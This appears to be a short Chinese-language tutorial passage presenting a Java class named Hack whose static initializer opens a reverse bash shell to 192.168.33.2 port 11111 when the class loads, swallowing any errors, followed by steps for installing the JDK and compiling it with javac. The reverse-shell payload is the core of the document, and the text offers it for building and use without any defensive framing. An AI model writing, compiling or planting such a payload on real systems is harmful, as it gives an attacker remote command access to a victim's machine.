比如我们有Hack.java文件
import java.lang.Runtime;
import java.lang.Process;
public class Hack {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
怎么编译成class文件呢
首先需安装jdk,可从官网下载
https://www.oracle.com/java/
安装完成后,记得配置环境变量。我们将JDK的安装目录下的bin文件所在路径配置到环境变量的path变量中。
然后执行命令
javac Hack.java
发现生成class文件
注意java文件名应与代码内定义的类名一致